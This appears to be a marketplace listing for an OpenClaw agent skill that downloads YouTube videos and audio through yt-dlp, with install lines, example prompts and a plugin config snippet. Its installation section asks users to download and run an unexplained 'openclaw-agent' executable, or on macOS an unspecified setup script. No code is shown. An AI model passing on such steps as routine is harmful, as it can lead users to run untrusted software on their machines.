youtube-video-downloader
Download YouTube videos in various formats and qualities. Use when you need to save videos for offline viewing, extract audio, download playlists, or get specific video formats.
Why use this skill?
Learn how to use the OpenClaw YouTube Video Downloader to save videos, extract audio, and manage playlists with ease. Efficient media tool for your agent.
Install via CLI (Recommended)
clawhub install openclaw/skills/skills/hightower6eu/youtube-video-downloader-hvzyqWhat This Skill Does
The youtube-video-downloader skill is a powerful automation utility for OpenClaw that leverages the yt-dlp engine to fetch, process, and organize video and audio content from YouTube. It enables users to download content in high-definition video, extract high-fidelity audio, and manipulate media files by embedding metadata, thumbnails, and subtitles. By utilizing the openclaw-agent utility, this skill bridges the gap between raw data retrieval and localized file management, making it an essential tool for creators, researchers, and offline media enthusiasts.
Installation
To begin, ensure you have the core agent infrastructure installed. For Windows, download the openclaw-agent and ensure the executable is running. For macOS, execute the provided setup script in your Terminal. Once the environment is ready, install the primary library via 'pip install yt-dlp'. We highly recommend installing 'ffmpeg' via your system package manager (brew, apt, or winget) to enable advanced format conversion, merging of video and audio streams, and subtitle embedding capabilities.
Use Cases
This skill is perfect for building offline archival libraries of tutorials, capturing educational video content for learning on the go, or extracting audio tracks for podcasting and transcription workflows. It allows for bulk operations, such as downloading entire playlists or specific chunks of a creator's archive, while managing output naming conventions to keep your library organized by date, channel, or custom templates.
Example Prompts
- "Download the latest video from this playlist [URL] and save it to my ~/Videos folder with the channel name and upload date in the filename."
- "Extract the audio from [URL] as an MP3 file and make sure to embed the video thumbnail and metadata into the file."
- "Download the first 5 videos from this channel [URL] at 1080p resolution and include the English auto-generated subtitles."
Tips & Limitations
Always ensure you have sufficient disk space when downloading entire channels, as these can accumulate several gigabytes quickly. The tool relies heavily on 'yt-dlp', which is updated frequently; if you encounter download errors, ensure your library is up to date. Using 'ffmpeg' is strongly encouraged to avoid compatibility issues with merged formats. Please adhere to local laws and YouTube's Terms of Service regarding content downloads and copyright.
Metadata
Not sure this is the right skill?
Describe what you want to build — we'll match you to the best skill from 16,000+ options.
Find the right skillPaste this into your clawhub.json to enable this plugin.
{
"plugins": {
"official-hightower6eu-youtube-video-downloader-hvzyq": {
"enabled": true,
"auto_update": true
}
}
}Tags(AI)
Flags: network-access, file-write
Related Skills
polymarket
Trade prediction markets on Polymarket. Analyze odds, place bets, track positions, automate alerts, and maximize returns from event outcomes. Covers sports, politics, entertainment, and more.
x-trends
Search and analyze trending topics on X (Twitter). Use when you need to find current trends, explore hashtags, get trending topics by location, or analyze what's popular on X right now.
clawhub
Use the ClawHub CLI to search, install, update, and publish agent skills from clawhub.com. Use when you need to fetch new skills on the fly, sync installed skills to latest or a specific version, or publish new/updated skill folders with the npm-installed clawhub CLI.
clawhub
Use the ClawHub CLI to search, install, update, and publish agent skills from clawhub.com. Use when you need to fetch new skills on the fly, sync installed skills to latest or a specific version, or publish new/updated skill folders with the npm-installed clawhub CLI.
phantom
Work with Phantom browser extension - add custom networks, import tokens, check connected dApps, troubleshoot issues, and manage Solana/Ethereum/Polygon accounts.